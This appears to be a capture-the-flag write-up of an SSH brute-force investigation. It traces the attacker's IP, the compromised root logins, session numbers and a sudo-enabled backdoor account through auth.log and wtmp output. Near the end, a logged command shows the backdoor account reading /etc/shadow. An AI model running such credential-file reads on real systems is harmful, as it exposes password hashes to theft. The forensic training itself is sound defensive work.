BRUTUS (SSH)

The Brutus Sherlock challenge focuses on investigating brute-force SSH attacks and post-exploitation activities on a Unix-based system. The scenario involves an attacker gaining unauthorized access to a Confluence server via SSH brute-forcing. The investigation revolves around analyzing key log files such as auth.log and wtmp. This challenge introduces core concepts of log-based threat hunting and lays the groundwork for deeper forensic analysis on Unix systems.

KEY SKILLS AND OBJECTIVES

Understand how to analyze auth.log to detect brute-force attempts and login activity.
Examine wtmp for user session tracking (logins/logouts).
Trace the attack timeline from initial access to privilege escalation and persistence mechanisms.
Identify potential command execution footprints from available logs.

Analyze the auth.log. What is the IP address used by the attacker to carry out a brute force attack?

root@dco:~$ 7z x Brutus.zip
 ...

#display an overview of the data - identify when the initial "failed login" occurred and when the "successful login" occurred - this can be used for event timeline
root@dco:~$ cat auth.log
 Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380
 ...
 Mar  6 06:31:38 ip-172-31-35-28 sshd[2379]: Failed password for invalid user server_adm from 65.2.161.68 port 46698 ssh2
 Mar  6 06:31:38 ip-172-31-35-28 sshd[2380]: Failed password for invalid user server_adm from 65.2.161.68 port 46710 ssh2
 Mar  6 06:31:38 ip-172-31-35-28 sshd[2383]: Failed password for invalid user svc_account from 65.2.161.68 port 46722 ssh2
 Mar  6 06:31:38 ip-172-31-35-28 sshd[2384]: Failed password for invalid user svc_account from 65.2.161.68 port 46732 ssh2
 Mar  6 06:31:38 ip-172-31-35-28 sshd[2387]: Failed password for invalid user svc_account from 65.2.161.68 port 46742 ssh2
 Mar  6 06:31:38 ip-172-31-35-28 sshd[2389]: Failed password for invalid user svc_account from 65.2.161.68 port 46744 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2391]: Failed password for invalid user svc_account from 65.2.161.68 port 46750 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2393]: Failed password for invalid user svc_account from 65.2.161.68 port 46774 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2394]: Failed password for invalid user svc_account from 65.2.161.68 port 46786 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2397]: Failed password for invalid user svc_account from 65.2.161.68 port 46814 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2398]: Failed password for invalid user svc_account from 65.2.161.68 port 46840 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2396]: Failed password for invalid user svc_account from 65.2.161.68 port 46800 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2400]: Failed password for invalid user svc_account from 65.2.161.68 port 46854 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2399]: Failed password for root from 65.2.161.68 port 46852 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2407]: Failed password for root from 65.2.161.68 port 46876 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2383]: Received disconnect from 65.2.161.68 port 46722:11: Bye Bye [preauth]
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2383]: Disconnected from invalid user svc_account 65.2.161.68 port 46722 [preauth]
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2384]: Received disconnect from 65.2.161.68 port 46732:11: Bye Bye [preauth]
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2384]: Disconnected from invalid user svc_account 65.2.161.68 port 46732 [preauth]
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2409]: Failed password for root from 65.2.161.68 port 46890 ssh2
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
 Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2379]: Received disconnect from 65.2.161.68 port 46698:11: Bye Bye [preauth]
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2379]: Disconnected from invalid user server_adm 65.2.161.68 port 46698 [preauth]
 ...

#drill drown
root@dco:~$ cat auth.log | grep -i "failed password"
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2327]: Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2331]: Failed password for invalid user admin from 65.2.161.68 port 46436 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2332]: Failed password for invalid user admin from 65.2.161.68 port 46444 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2335]: Failed password for invalid user admin from 65.2.161.68 port 46460 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2337]: Failed password for invalid user admin from 65.2.161.68 port 46498 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2334]: Failed password for invalid user admin from 65.2.161.68 port 46454 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2338]: Failed password for backup from 65.2.161.68 port 46512 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2336]: Failed password for backup from 65.2.161.68 port 46468 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2330]: Failed password for invalid user admin from 65.2.161.68 port 46422 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2328]: Failed password for invalid user admin from 65.2.161.68 port 46390 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2329]: Failed password for invalid user admin from 65.2.161.68 port 46414 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2333]: Failed password for invalid user admin from 65.2.161.68 port 46452 ssh2
 Mar  6 06:31:34 ip-172-31-35-28 sshd[2352]: Failed password for backup from 65.2.161.68 port 46568 ssh2
 Mar  6 06:31:34 ip-172-31-35-28 sshd[2351]: Failed password for backup from 65.2.161.68 port 46538 ssh2
 Mar  6 06:31:34 ip-172-31-35-28 sshd[2355]: Failed password for backup from 65.2.161.68 port 46576 ssh2
 Mar  6 06:31:34 ip-172-31-35-28 sshd[2357]: Failed password for backup from 65.2.161.68 port 46582 ssh2
 Mar  6 06:31:36 ip-172-31-35-28 sshd[2357]: Failed password for backup from 65.2.161.68 port 46582 ssh2
 Mar  6 06:31:37 ip-172-31-35-28 sshd[2359]: Failed password for invalid user server_adm from 65.2.161.68 port 46596 ssh2
 Mar  6 06:31:37 ip-172-31-35-28 sshd[2361]: Failed password for invalid user server_adm from 65.2.161.68 port 46614 ssh2
 Mar  6 06:31:37 ip-172-31-35-28 sshd[2368]: Failed password for invalid user server_adm from 65.2.161.68 port 46676 ssh2
 Mar  6 06:31:37 ip-172-31-35-28 sshd[2369]: Failed password for invalid user server_adm from 65.2.161.68 port 46682 ssh2
 Mar  6 06:31:37 ip-172-31-35-28 sshd[2365]: Failed password for invalid user server_adm from 65.2.161.68 port 46644 ssh2
 ...
 
root@dco:~$ cat auth.log | grep -Ei "accepted*"  
 Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
 Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
 Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

root@dco:~$ cat auth.log | grep -Ei "65.2.161.68"
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782

 * the 5-tuple refers to five key attributes that uniquely identify a network 
   connection or flow.
    - Source IP: 65.2.161.68
    - Source Port: variable
    - Destination IP: 172.31.35.28
    - Destination Port: 22
    - Protocol: ssh

The bruteforce attempts were successful and attacker gained access to an account on the server. What is the username of the account?

root@dco:~$ 7z x Brutus.zip
 ...

#display an overview of the data - identify when the initial "failed login" occurred and when the "successful login" occurred - this can be used for event timeline
root@dco:~$ cat auth.log
 Mar  6 06:31:31 ip-172-31-35-28 sshd[2325]: Invalid user admin from 65.2.161.68 port 46380
 ...
 Mar  6 06:31:38 ip-172-31-35-28 sshd[2379]: Failed password for invalid user server_adm from 65.2.161.68 port 46698 ssh2
 Mar  6 06:31:38 ip-172-31-35-28 sshd[2380]: Failed password for invalid user server_adm from 65.2.161.68 port 46710 ssh2
 Mar  6 06:31:38 ip-172-31-35-28 sshd[2383]: Failed password for invalid user svc_account from 65.2.161.68 port 46722 ssh2
 Mar  6 06:31:38 ip-172-31-35-28 sshd[2384]: Failed password for invalid user svc_account from 65.2.161.68 port 46732 ssh2
 Mar  6 06:31:38 ip-172-31-35-28 sshd[2387]: Failed password for invalid user svc_account from 65.2.161.68 port 46742 ssh2
 Mar  6 06:31:38 ip-172-31-35-28 sshd[2389]: Failed password for invalid user svc_account from 65.2.161.68 port 46744 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2391]: Failed password for invalid user svc_account from 65.2.161.68 port 46750 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2393]: Failed password for invalid user svc_account from 65.2.161.68 port 46774 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2394]: Failed password for invalid user svc_account from 65.2.161.68 port 46786 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2397]: Failed password for invalid user svc_account from 65.2.161.68 port 46814 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2398]: Failed password for invalid user svc_account from 65.2.161.68 port 46840 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2396]: Failed password for invalid user svc_account from 65.2.161.68 port 46800 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2400]: Failed password for invalid user svc_account from 65.2.161.68 port 46854 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2399]: Failed password for root from 65.2.161.68 port 46852 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2407]: Failed password for root from 65.2.161.68 port 46876 ssh2
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2383]: Received disconnect from 65.2.161.68 port 46722:11: Bye Bye [preauth]
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2383]: Disconnected from invalid user svc_account 65.2.161.68 port 46722 [preauth]
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2384]: Received disconnect from 65.2.161.68 port 46732:11: Bye Bye [preauth]
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2384]: Disconnected from invalid user svc_account 65.2.161.68 port 46732 [preauth]
 Mar  6 06:31:39 ip-172-31-35-28 sshd[2409]: Failed password for root from 65.2.161.68 port 46890 ssh2
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
 Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2379]: Received disconnect from 65.2.161.68 port 46698:11: Bye Bye [preauth]
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2379]: Disconnected from invalid user server_adm 65.2.161.68 port 46698 [preauth]
 ...

#drill drown
root@dco:~$ cat auth.log | grep -i "failed password"
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2327]: Failed password for invalid user admin from 65.2.161.68 port 46392 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2331]: Failed password for invalid user admin from 65.2.161.68 port 46436 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2332]: Failed password for invalid user admin from 65.2.161.68 port 46444 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2335]: Failed password for invalid user admin from 65.2.161.68 port 46460 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2337]: Failed password for invalid user admin from 65.2.161.68 port 46498 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2334]: Failed password for invalid user admin from 65.2.161.68 port 46454 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2338]: Failed password for backup from 65.2.161.68 port 46512 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2336]: Failed password for backup from 65.2.161.68 port 46468 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2330]: Failed password for invalid user admin from 65.2.161.68 port 46422 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2328]: Failed password for invalid user admin from 65.2.161.68 port 46390 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2329]: Failed password for invalid user admin from 65.2.161.68 port 46414 ssh2
 Mar  6 06:31:33 ip-172-31-35-28 sshd[2333]: Failed password for invalid user admin from 65.2.161.68 port 46452 ssh2
 Mar  6 06:31:34 ip-172-31-35-28 sshd[2352]: Failed password for backup from 65.2.161.68 port 46568 ssh2
 Mar  6 06:31:34 ip-172-31-35-28 sshd[2351]: Failed password for backup from 65.2.161.68 port 46538 ssh2
 Mar  6 06:31:34 ip-172-31-35-28 sshd[2355]: Failed password for backup from 65.2.161.68 port 46576 ssh2
 Mar  6 06:31:34 ip-172-31-35-28 sshd[2357]: Failed password for backup from 65.2.161.68 port 46582 ssh2
 Mar  6 06:31:36 ip-172-31-35-28 sshd[2357]: Failed password for backup from 65.2.161.68 port 46582 ssh2
 Mar  6 06:31:37 ip-172-31-35-28 sshd[2359]: Failed password for invalid user server_adm from 65.2.161.68 port 46596 ssh2
 Mar  6 06:31:37 ip-172-31-35-28 sshd[2361]: Failed password for invalid user server_adm from 65.2.161.68 port 46614 ssh2
 Mar  6 06:31:37 ip-172-31-35-28 sshd[2368]: Failed password for invalid user server_adm from 65.2.161.68 port 46676 ssh2
 Mar  6 06:31:37 ip-172-31-35-28 sshd[2369]: Failed password for invalid user server_adm from 65.2.161.68 port 46682 ssh2
 Mar  6 06:31:37 ip-172-31-35-28 sshd[2365]: Failed password for invalid user server_adm from 65.2.161.68 port 46644 ssh2
 ...
 
root@dco:~$ cat auth.log | grep -Ei "accepted*"  
 Mar  6 06:19:54 ip-172-31-35-28 sshd[1465]: Accepted password for root from 203.101.190.9 port 42825 ssh2
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
 Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
 Mar  6 06:37:34 ip-172-31-35-28 sshd[2667]: Accepted password for cyberjunkie from 65.2.161.68 port 43260 ssh2

root@dco:~$ cat auth.log | grep -Ei "65.2.161.68"
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782

 * the 5-tuple refers to five key attributes that uniquely identify a network 
   connection or flow.
    - Source IP: 65.2.161.68
    - Source Port: variable
    - Destination IP: 172.31.35.28
    - Destination Port: 22
    - Protocol: ssh

Identify the timestamp when the attacker logged in manually to the server and established a terminal session to carry out their objectives. The login time will be different than the authentication time, and can be found in the wtmp artifact.

root@dco:~$ 7z x Brutus.zip
 ...

root@dco:~$ python3 ./utmp.py wtmp -o wtmp.out
root@dco:~$ cat wtmp.out 
 "type"  "pid"   "line"  "id"    "user"  "host"  "term"  "exit"  "session"       "sec"   "usec"  "addr"
 "BOOT_TIME"     "0"     "~"     "~~"    "reboot"        "6.2.0-1017-aws"        "0"     "0"     "0"     "2024/01/25 06:12:17"   "804944"        "0.0.0.0"
 "INIT"  "601"   "ttyS0" "tyS0"  ""      ""      "0"     "0"     "601"   "2024/01/25 06:12:31"   "72401" "0.0.0.0"
 "LOGIN" "601"   "ttyS0" "tyS0"  "LOGIN" ""      "0"     "0"     "601"   "2024/01/25 06:12:31"   "72401" "0.0.0.0"
 "INIT"  "618"   "tty1"  "tty1"  ""      ""      "0"     "0"     "618"   "2024/01/25 06:12:31"   "80342" "0.0.0.0"
 "LOGIN" "618"   "tty1"  "tty1"  "LOGIN" ""      "0"     "0"     "618"   "2024/01/25 06:12:31"   "80342" "0.0.0.0"
 "RUN_LVL"       "53"    "~"     "~~"    "runlevel"      "6.2.0-1017-aws"        "0"     "0"     "0"     "2024/01/25 06:12:33"   "792454"        "0.0.0.0"
 "USER"  "1284"  "pts/0" "ts/0"  "ubuntu"        "203.101.190.9" "0"     "0"     "0"     "2024/01/25 06:13:58"   "354674"        "203.101.190.9"
 "DEAD"  "1284"  "pts/0" ""      ""      ""      "0"     "0"     "0"     "2024/01/25 06:15:12"   "956114"        "0.0.0.0"
 "USER"  "1483"  "pts/0" "ts/0"  "root"  "203.101.190.9" "0"     "0"     "0"     "2024/01/25 06:15:40"   "806926"        "203.101.190.9"
 "DEAD"  "1404"  "pts/0" ""      ""      ""      "0"     "0"     "0"     "2024/01/25 07:34:34"   "949753"        "0.0.0.0"
 "USER"  "836798"        "pts/0" "ts/0"  "root"  "203.101.190.9" "0"     "0"     "0"     "2024/02/11 05:33:49"   "408334"        "203.101.190.9"
 "INIT"  "838568"        "ttyS0" "tyS0"  ""      ""      "0"     "0"     "838568"        "2024/02/11 05:39:02"   "172417"        "0.0.0.0"
 "LOGIN" "838568"        "ttyS0" "tyS0"  "LOGIN" ""      "0"     "0"     "838568"        "2024/02/11 05:39:02"   "172417"        "0.0.0.0"
 "USER"  "838962"        "pts/1" "ts/1"  "root"  "203.101.190.9" "0"     "0"     "0"     "2024/02/11 05:41:11"   "700107"        "203.101.190.9"
 "DEAD"  "838896"        "pts/1" ""      ""      ""      "0"     "0"     "0"     "2024/02/11 05:41:46"   "272984"        "0.0.0.0"
 "USER"  "842171"        "pts/1" "ts/1"  "root"  "203.101.190.9" "0"     "0"     "0"     "2024/02/11 05:54:27"   "775434"        "203.101.190.9"
 "DEAD"  "842073"        "pts/1" ""      ""      ""      "0"     "0"     "0"     "2024/02/11 06:08:04"   "769514"        "0.0.0.0"
 "DEAD"  "836694"        "pts/0" ""      ""      ""      "0"     "0"     "0"     "2024/02/11 06:08:04"   "769963"        "0.0.0.0"
 "RUN_LVL"       "0"     "~"     "~~"    "shutdown"      "6.2.0-1017-aws"        "0"     "0"     "0"     "2024/02/11 06:09:18"   "731"   "0.0.0.0"
 "BOOT_TIME"     "0"     "~"     "~~"    "reboot"        "6.2.0-1018-aws"        "0"     "0"     "0"     "2024/03/06 01:17:15"   "744575"        "0.0.0.0"
 "INIT"  "464"   "ttyS0" "tyS0"  ""      ""      "0"     "0"     "464"   "2024/03/06 01:17:27"   "354378"        "0.0.0.0"
 "LOGIN" "464"   "ttyS0" "tyS0"  "LOGIN" ""      "0"     "0"     "464"   "2024/03/06 01:17:27"   "354378"        "0.0.0.0"
 "INIT"  "505"   "tty1"  "tty1"  ""      ""      "0"     "0"     "505"   "2024/03/06 01:17:27"   "469940"        "0.0.0.0"
 "LOGIN" "505"   "tty1"  "tty1"  "LOGIN" ""      "0"     "0"     "505"   "2024/03/06 01:17:27"   "469940"        "0.0.0.0"
 "RUN_LVL"       "53"    "~"     "~~"    "runlevel"      "6.2.0-1018-aws"        "0"     "0"     "0"     "2024/03/06 01:17:29"   "538024"        "0.0.0.0"
 "USER"  "1583"  "pts/0" "ts/0"  "root"  "203.101.190.9" "0"     "0"     "0"     "2024/03/06 01:19:55"   "151913"        "203.101.190.9"
 "USER"  "2549"  "pts/1" "ts/1"  "root"  "65.2.161.68"   "0"     "0"     "0"     "2024/03/06 01:32:45"   "387923"        "65.2.161.68"
 "DEAD"  "2491"  "pts/1" ""      ""      ""      "0"     "0"     "0"     "2024/03/06 01:37:24"   "590579"        "0.0.0.0"
 "USER"  "2667"  "pts/1" "ts/1"  "cyberjunkie"   "65.2.161.68"   "0"     "0"     "0"     "2024/03/06 01:37:35"   "475575"        "65.2.161.68"
  
 * the utmp.py script is used to parse the wtmp file into a human readable format
 
root@dco:~$ cat wtmp.out | grep -i "65.2.161.68"
 "USER"  "2549"  "pts/1" "ts/1"  "root"  "65.2.161.68"   "0"     "0"     "0"     "2024/03/06 01:32:45"   "387923"        "65.2.161.68"
 "USER"  "2667"  "pts/1" "ts/1"  "cyberjunkie"   "65.2.161.68"   "0"     "0"     "0"     "2024/03/06 01:37:35"   "475575"        "65.2.161.68"

 * there is a discrepancy between the auth.log and wtmp timestamp
    - use the MM:SS from the wtmp and the HH from the auth.log file

SSH login sessions are tracked and assigned a session number upon login. What is the session number assigned to the attacker's session for the user account from Question 2?

root@dco:~$ 7z x Brutus.zip
 ...

root@dco:~$ cat auth.log | grep root 
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
 Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session closed for user root
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2399]: Failed password for root from 65.2.161.68 port 46852 ssh2
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2407]: Failed password for root from 65.2.161.68 port 46876 ssh2
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2409]: Failed password for root from 65.2.161.68 port 46890 ssh2
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2399]: Connection closed by authenticating user root 65.2.161.68 port 46852 [preauth]
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2399]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68  user=root
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2407]: Connection closed by authenticating user root 65.2.161.68 port 46876 [preauth]
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2407]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68  user=root
 Mar  6 06:31:42 ip-172-31-35-28 sshd[2409]: Connection closed by authenticating user root 65.2.161.68 port 46890 [preauth]
 Mar  6 06:31:42 ip-172-31-35-28 sshd[2409]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68  user=root
 Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
 Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
 Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
 
 * A session number is assigned right after successful password authentication

The attacker added a new user as part of their persistence strategy on the server and gave this new user account higher privileges. What is the name of this account?

root@dco:~$ 7z x Brutus.zip
 ...

#display an overview of the data - identify when the initial "failed login" occurred and when the "successful login" occurred - this can be used for event timeline
root@dco:~$ cat auth.log
 ...
 
#identify anything out of the ordinary
 Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
 Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
 Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
 Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
 Mar  6 06:34:26 ip-172-31-35-28 passwd[2603]: pam_unix(passwd:chauthtok): password changed for cyberjunkie
 Mar  6 06:34:31 ip-172-31-35-28 chfn[2605]: changed user 'cyberjunkie' information
 Mar  6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session opened for user root(uid=0) by (uid=0)
 Mar  6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
 Mar  6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session opened for user confluence(uid=998) by (uid=0)
 Mar  6 06:35:01 ip-172-31-35-28 CRON[2614]: pam_unix(cron:session): session closed for user root
 Mar  6 06:35:01 ip-172-31-35-28 CRON[2616]: pam_unix(cron:session): session closed for user confluence
 Mar  6 06:35:01 ip-172-31-35-28 CRON[2615]: pam_unix(cron:session): session closed for user confluence
 Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
 Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'

 * useradd indicates a user has been added to the system.
 * usermod indicates the modifcation of user permissions or groups.
 * groupadd indicates the creation of a new user group.

#drill drown
root@dco:~$ grep -Ei 'useradd|usermod|groupadd' auth.log         
 Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/group: name=cyberjunkie, GID=1002
 Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: group added to /etc/gshadow: name=cyberjunkie
 Mar  6 06:34:18 ip-172-31-35-28 groupadd[2586]: new group: name=cyberjunkie, GID=1002
 Mar  6 06:34:18 ip-172-31-35-28 useradd[2592]: new user: name=cyberjunkie, UID=1002, GID=1002, home=/home/cyberjunkie, shell=/bin/bash, from=/dev/pts/1
 Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
 Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'

What is the MITRE ATT&CK sub-technique ID used for persistence by creating a new account?

root@dco:~$ 7z x Brutus.zip
 ...

root@dco:~$ BROWSER > https://attack.mitre.org/matrices/enterprise/ > Persistence > Create Account
 https://attack.mitre.org/techniques/T1136/001/

What time did the attacker's first SSH session end according to auth.log?

root@dco:~$ 7z x Brutus.zip
 ...

root@dco:~$ cat auth.log | grep root 
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Accepted password for root from 65.2.161.68 port 34782 ssh2
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
 Mar  6 06:31:40 ip-172-31-35-28 systemd-logind[411]: New session 34 of user root.
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: Disconnected from user root 65.2.161.68 port 34782
 Mar  6 06:31:40 ip-172-31-35-28 sshd[2411]: pam_unix(sshd:session): session closed for user root
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2399]: Failed password for root from 65.2.161.68 port 46852 ssh2
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2407]: Failed password for root from 65.2.161.68 port 46876 ssh2
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2409]: Failed password for root from 65.2.161.68 port 46890 ssh2
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2399]: Connection closed by authenticating user root 65.2.161.68 port 46852 [preauth]
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2399]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68  user=root
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2407]: Connection closed by authenticating user root 65.2.161.68 port 46876 [preauth]
 Mar  6 06:31:41 ip-172-31-35-28 sshd[2407]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68  user=root
 Mar  6 06:31:42 ip-172-31-35-28 sshd[2409]: Connection closed by authenticating user root 65.2.161.68 port 46890 [preauth]
 Mar  6 06:31:42 ip-172-31-35-28 sshd[2409]: PAM 1 more authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=65.2.161.68  user=root
 Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: Accepted password for root from 65.2.161.68 port 53184 ssh2
 Mar  6 06:32:44 ip-172-31-35-28 sshd[2491]: pam_unix(sshd:session): session opened for user root(uid=0) by (uid=0)
 Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
 
 * A session number is assigned right after successful password authentication
 
root@dco:~$ cat auth.log | grep -Ei 'session 37'        
 Mar  6 06:32:44 ip-172-31-35-28 systemd-logind[411]: New session 37 of user root.
 Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Session 37 logged out. Waiting for processes to exit.
 Mar  6 06:37:24 ip-172-31-35-28 systemd-logind[411]: Removed session 37.

 * YYYY-MM-DD HH:MM:SS (2024-03-06 06:37:24)

The attacker logged into their backdoor account and utilized their higher privileges to download a script. What is the full command executed using sudo?

root@dco:~$ 7z x Brutus.zip
 ...

root@dco:~$ cat auth.log | grep -Ei 'sudo|command'
 Mar  6 06:19:52 ip-172-31-35-28 sshd[1465]: AuthorizedKeysCommand /usr/share/ec2-instance-connect/eic_run_authorized_keys root SHA256:4vycLsDMzI+hyb9OP3wd18zIpyTqJmRq/QIZaLNrg8A failed, status 22
 Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to group 'sudo'
 Mar  6 06:35:15 ip-172-31-35-28 usermod[2628]: add 'cyberjunkie' to shadow group 'sudo'
 Mar  6 06:37:57 ip-172-31-35-28 sudo: cyberjunkie : TTY=pts/1 ; PWD=/home/cyberjunkie ; USER=root ; COMMAND=/usr/bin/cat /etc/shadow
 Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session opened for user root(uid=0) by cyberjunkie(uid=1002)
 Mar  6 06:37:57 ip-172-31-35-28 sudo: pam_unix(sudo:session): session closed for user root
